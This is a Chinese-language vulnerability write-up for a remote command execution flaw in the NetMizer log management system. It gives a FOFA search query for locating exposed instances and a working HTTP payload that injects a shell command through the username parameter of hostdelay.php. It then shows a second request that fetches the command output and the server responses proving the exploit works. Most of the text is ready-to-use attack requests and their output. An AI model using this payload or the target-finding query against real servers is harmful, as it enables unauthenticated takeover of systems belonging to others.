

N7-2NetMizer-日志管理系统-RCE

漏洞描述：

NetMizer 日志管理系统 position.php、hostdelay.php、等接口处存在命令执行漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行命令，写入后门，获取服务器权限，进而控制整个web 服务器。

影响版本：

- NetMizer-日志管理系统

网站图片：



网络测绘：

fofa语法：

FOFA: title="NetMizer 日志管理系统"

漏洞复现：

payload:

```
GET /data/hostdelay/hostdelay.php?action=list&username=|uname%20-a>2.txt HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
```

效果图:

Request

1 GET /data/hostdelay/hostdelay.php?action=list&username=|uname%20-a>2.txt HTTP/1.1

2 Host: 30

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8

5 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

6 Accept-Encoding: gzip, deflate

7 Connection: close

Responses 38bytes / 72ms

1 HTTP/1.1 200 OK

2 Date: Wed, 14 Feb 2024 16:51:37 GMT

3 Server: Apache/2.2.15 (CentOS)

4 X-Powered-By: PHP/5.3.3

5 Connection: close

6 Content-Type: text/html; charset=GB2312

7 Content-Length: 38

8

9 {"success":true,"datas":[],"total":""}

验证

```
GET /data/hostdelay/2.txt HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
```

Request

< > 数据包扫描 热加载 构造请求

```
1 GET /data/hostdelay/2.txt HTTP/1.1
2 Host: 30
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
6 Accept-Encoding: gzip, deflate
7 Connection: close
```

Responses 117bytes / 28ms

```
1 HTTP/1.1 200 OK
2 Date: Wed, 14 Feb 2024 16:51:41 GMT
3 Server: Apache/2.2.15 (CentOS)
4 Last-Modified: Wed, 14 Feb 2024 16:51:37 GMT
5 ETag: "420cb1-75-6115a5304aff5"
6 Accept-Ranges: bytes
7 Connection: close
8 Content-Type: text/plain; charset=GB2312
9 Content-Length: 117
10
11 Linux localhost.localdomain 2.6.32-504.el6
12 x86_64 x86_64 x86_64 GNU/Linux
```